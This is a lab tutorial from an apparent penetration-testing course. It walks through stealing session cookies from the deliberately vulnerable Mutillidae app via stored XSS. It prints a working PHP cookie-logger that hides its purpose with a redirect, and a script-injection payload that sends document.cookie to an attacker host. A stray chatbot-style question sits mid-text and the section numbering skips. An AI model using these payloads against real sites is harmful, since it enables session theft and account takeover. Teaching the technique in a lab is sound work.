Mastering Cookie Hijacking: Hands-On Guide to Web Session Attacks with Kali Linux

 

1. Course Overview

 

This course is a hands-on tutorial. To better explain the experimental procedures, we will incorporate theoretical content and recommend the most valuable articles for you to read. As you practice, you’ll also strengthen your theoretical foundation, including understanding concepts like cookie hijacking.

Note: The cloud server used for the experiments has a high configuration cost and is limited to no more than six experiments per user per scenario.

2. Learning Approach

 

The Kali series courses on ExperimentLab consist of five boot camps. This particular boot camp focuses on various web application attack methods. The course includes 20 experiments, each with detailed step-by-step instructions and screenshots. It is suitable for users with some basic knowledge of Linux who want to quickly get started with Kali penetration testing.

The learning approach is hands-on practice combined with active questioning. After launching an experiment, follow the outlined steps carefully, ensuring you understand each action and its purpose.

If there are recommended materials to read at the beginning of an experiment, be sure to review them thoroughly before proceeding. Theoretical knowledge serves as the foundation for practical application.

3. Overview of This Section

 

In this experiment, we will get an introduction to the concepts of Kali Linux and penetration testing. You’ll need to complete the following tasks:

  • Introduction to session hijacking
  • Overview of sessions
  • Hands-on session hijacking

4. Recommended Reading

 

The following materials are recommended for this session:

5. Web Session Hijacking

 

5.1 Introduction

 

Web session hijacking, commonly referred to as session hijacking, or cookie hijacking, involves stealing a user’s session ID or exploiting their session ID to gain unauthorized access to services.

Here’s a simple analogy: You live in an apartment complex where access is controlled by a key unique to your unit. If someone manages to replicate your key and unlocks your door, it’s as if they’ve hijacked your session. This is essentially what session hijacking is about.

5.2 Overview of Sessions

 

For those new to web concepts, you might wonder what exactly a session is and how it works between a server and a user.

HTTP is a stateless protocol, meaning it does not retain any information about a user’s state across different pages. For example, logging in on one page does not automatically keep you logged in on the next page.

To solve this, session mechanisms were created. When a user logs in, their information is saved on the server within a session. This information is also referenced on the client side via cookies. A session value serves as a unique identifier, almost like an ID card. It ensures that when a user navigates across different pages of the same site, their login state and identity are retained.

This unique value is commonly known as a session ID. Every HTTP request includes a session ID in its HTTP headers, allowing the server to recognize the user.

A session is created when the connection between the user and the server is initiated. However, the session is destroyed when the browser is closed, the user logs out, or after a pre-configured idle duration (e.g., 20 minutes). During attacks like XSS (Cross-Site Scripting), attackers can exploit these session details. For instance, in a PHP environment like that used by DVWA, session names are typically stored as PHPSESSID. When conducting tests, you will often encounter PHPSESSID as part of the attacks.

In PHP, session management follows this general process:


 cookie hijacking

(Source: DoDo’s Blog )

In previous scenarios, we exploited PHPSESSID to perform man-in-the-middle (MITM) attacks—one type of web session hijacking technique.

5.3 Hands-On Practice

 

For this session, we’ll demonstrate hands-on session hijacking using the Mutillidae environment. Step 1 is always to launch the environment:

Open the terminal on the experimental desktop by double-clicking the Xfce terminal:

 cookie hijacking



Use the following command to start the virtual machine for the target system:
sudo virsh start Metasploitable2

Start Virtual Machine



Would you like to finish the rest or clarify any specific sections?

Access the IP address of our virtual target system: 192.168.122.102:

After starting the virtual target system successfully, you should see a page like the one above. Choose **Mutillidae**, which will lead you to a page like this:

You can log into an existing account or register for a new one if you don’t have one yet:

After completing a brief registration, you’ll be able to log in:

This time, we will once again leverage **Stored XSS (Cross-Site Scripting)** to help us retrieve cookies.

### Steps to Exploit Stored XSS

1. **Log into the Kali system:**
Use the following command:

ssh root@kali

Then navigate to the Apache root directory by executing:

cd /var/www/html/

This ensures that Mutillidae can access our malicious PHP code.

2. **Create the malicious PHP script:**
Use the `vim` text editor to create a file named `getcookie.php` in the current directory:

vim getcookie.php

Write the following malicious script inside `getcookie.php`:

<?php  
$cookie = $_GET['remote_cookie'];  
$ip = getenv('REMOTE_ADDR');  
$time = date('Y-m-d g:i:s');  
$referer = getenv('HTTP_REFERER');  
$fp = fopen('cookie.txt', 'a');  
fwrite($fp, "\n IP: " . $ip . "\n Date and Time: " . $time . "\n Referer: " . $referer . "\n Cookie: " . $cookie . "\n");  
fclose($fp);  
header("Location: http://192.168.122.102/mutillidae");  
?>  

Here’s what the script does:
– It retrieves the cookie value from the `remote_cookie` variable in the HTTP GET request and stores it in the `$cookie` variable.
– It captures the current visitor’s **IP address**, **timestamp**, and **referring page** data.
– It creates or appends a text file called `cookie.txt`, saving the captured values without overwriting existing content.
– Finally, it redirects the user to the homepage of the Mutillidae application to avoid suspicion of malicious behavior.

3. **Save and exit the editor:**
Use the `:wq` command to write changes and quit the editor.

4. **Handle file permissions:**
Since the Apache service runs under the `www-data` user, you’ll need to precreate the `cookie.txt` file and adjust ownership. Run the following commands:

touch cookie.txt  
chown www-data:www-data cookie.txt

5. **Start the Apache service:**
To ensure that the PHP script can be accessed:

service apache2 start

### Target Environment Setup

Now that everything is set up, proceed to the attack environment:

1. Insert the following JavaScript code into the blog’s input field:

<SCRIPT> document.location='http://192.168.122.101/getcookie.php?remote_cookie='+document.cookie </SCRIPT>

2. Once executed, this script captures the victim’s session cookies and sends them to the attacker’s PHP script (**getcookie.php**) on the attacker’s server. The values are logged into the `cookie.txt` file for further analysis.

### Execution Note
Using **Stored XSS** is one of the most common methods to steal sensitive data such as cookies. This attack exploits poorly sanitized user input fields, which allow an attacker to inject malicious scripts into a web application. Make sure to implement input validation and sanitization to protect against such vulnerabilities.

entry-js

After clicking Save Blog Entry, we notice that the page redirects to 192.168.122.102/mutillidae, indicating that we have successfully injected.

At the same time, we can use less cookie.txt to view the storage file on the Kali machine:

show-cookies



These are the cookies of the user who just logged in. Since we are using stored XSS, when we revisit the same page, we can still receive the cookies.

Stealing cookies is the first step of web session hijacking. The second step is using these cookies to exploit the system maliciously. Do you remember how to use cookie_manager?

11. Summary

 

In this lab, we learned the following topics. If you have any questions, feel free to join the discussion at Shiyanlou Q&A:

  • An introduction to session hijacking
  • A basic understanding of sessions
  • Practical session hijacking

Make sure you can complete the entire lab on your own. Reading text might seem simple, but actually performing the tasks will present various challenges. Overcoming these challenges is the real learning experience.